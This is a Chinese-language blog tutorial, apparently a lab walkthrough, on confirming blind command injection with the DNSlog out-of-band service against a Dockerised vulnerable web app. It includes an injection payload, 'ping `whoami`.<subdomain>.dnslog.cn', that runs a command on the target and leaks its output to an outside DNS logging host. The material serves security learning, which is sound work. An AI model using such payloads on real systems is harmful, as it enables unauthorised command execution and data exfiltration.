通过DNSlog回显验证漏洞

前言:

实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可结合DNSlog平台进行测试,DNSlog平台链接如下://dnslog.cn/

环境搭建:

1.安装 docker desktop

接下来直接搭建靶场,进入实验环境,本实验使用Docker搭建漏洞环境,操作系统是windows 10,Docker Desktop提供了较为完善的图形化操作界面,且兼容性随着版本更新目前已经与linux下运行的Docker无区别,安装方式见官网,安装操作较为简单,无脑下一步即可,安装完成后需要重启,接着按照说明一步步安装其他必备环境,这里就不再细说了。附上链接:https://www.docker.com/products/docker-desktop

2.拉取镜像

打开CMD/PowerShell运行以下命令:

docker pull ge592555078/lkwa

从仓库拉取镜像

接着打开Docker Desktop按照下图操作运行刚才拉取的环境,并将80端口映射到本地的81端口。

// 或者在命令行中直接输入

docker run -d -p 81:80 ge592555078/lkwa

此时访问

localhost:81

应当出现apache的默认页面,证明环境搭建完成:

 

 漏洞复现:

由于主要学习dnslog的使用,我们就用环境中命令执行模块复现。

1.访问

localhost:81/index.php

 

此为漏洞环境的主页

2.左侧选择 Bind RCE 命令注入环境

3.访问dnslog平台,点击 Get SubDomain 生成专属子域名

 

 4.回到漏洞环境,在右侧命令执行输入框输入下面命令后提交(whoami后应衔接获取的子域名)

ping `whoami`.fglnpm.dnslog.cn

5.在返回DNSlog平台,点击刷新解析记录,可以发现whoami的执行结果已经拼接成四级域名

到此实验结束

分析总结:

存在无回显漏洞的主机访问DNSlog平台就会留下DNS解析记录,可以通过DNS解析记录查看最终的执行结果,如示例中的语句:


ping `whoami`.fglnpm.dnslog.cn
此语句实际上是:
ping www-data.yafjqc.dnslog.cn

包围着whoami的符号是反单引号,是shift+~组合打出来的符号,表示执行命令的意思,那么最终ping的结果就是ping whoami执行后的主机名.随机三级域名.dnslog.cn,解析的时候一层一层的迭代解析,最终指向dnslog.cn服务器上你的专属三级域名,并附带上执行结果(四级域名),那么此时看dnslog服务器的DNS解析记录即可查看whoami的执行结果,如果对DNS协议不清楚此时应先去学习DNS解析原理。

 

 

 

 

posted @   Sixty0328  阅读(1355)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示